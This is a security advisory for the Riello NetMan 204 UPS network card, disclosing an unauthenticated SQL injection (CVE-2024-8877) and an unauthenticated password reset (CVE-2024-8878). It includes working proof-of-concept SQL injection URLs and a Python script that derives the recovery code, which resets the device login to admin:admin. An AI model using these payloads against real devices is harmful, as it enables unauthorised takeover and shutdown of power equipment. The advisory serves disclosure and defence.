Vulnerable versions  
-------------------------------------------------------------------------------  
NetMan 204 / 4.05  
  
Vulnerability overview  
-------------------------------------------------------------------------------  
1) SQL Injection (CVE-2024-8877)  
The three endpoints /cgi-bin/db_datalog_w.cgi, /cgi-bin/db_eventlog_w.cgi, and  
/cgi-bin/db_multimetr_w.cgi are vulnerable to SQL injection without prior  
authentication. This enables an attacker to modify the collected log data in an  
arbitrary way.  
  
2) Unauthenticated Password Reset (CVE-2024-8878)  
By navigating to the endpoint /recoverpassword.html an attacker can gather the  
netmanid from the UPS. This id can be used to calculate the recovery code for  
resetting the password. This way enables an attacker to take over control of  
the UPS and e.g. turn it off.  
  
  
Proof of Concept  
-------------------------------------------------------------------------------  
1) SQL Injection (CVE-2024-8877)  
The system is subsceptible to SQL injections, which is illustrated by the  
following payloads:  
  
AND 1=0:  
/cgi-bin/db_eventlog_w.cgi?date_start=1715609000&date_end=1715630160&  
gravity=%25&type=%25%27and/**/%271%27=%270  
  
AND 1=1:  
/cgi-bin/db_eventlog_w.cgi?date_start=1715609000&date_end=1715630160&  
gravity=%25&type=%25%27and/**/%271%27=%271  
  
The first request does not return any data, while the second request returns  
all entries with a start and end date in the given interval.  
  
2) Unauthenticated Password Reset (CVE-2024-8878)  
The following python script can be used to generate the recovery code from the  
netmanid:  
  
import hashlib  
import sys  
def calc_code(netman_id):  
secret = b"NMP"  
netman_id = secret + netman_id[3:]  
round1 = hashlib.md5(netman_id).hexdigest().encode('utf-8')  
round2 = hashlib.sha1(round1).hexdigest()  
code = round2[5:5+7]  
return code  
if len(sys.argv) < 2:  
sys.exit("usage: {} netman_id".format(sys.argv[0]))  
netman_id = sys.argv[1]  
print(calc_code(netman_id.encode('utf-8'))  
  
Inputting the recovery code in /recoverpassword.html resets the login  
credentials to admin:admin.  
  
  
Solution  
-------------------------------------------------------------------------------  
None  
  
Workaround  
-------------------------------------------------------------------------------  
Limit access to the device.  
  
Recommendation  
-------------------------------------------------------------------------------  
Riello should release a firmware update that fixes the mentioned  
vulnerabilities.  
Customers should not use this device in productive networks.
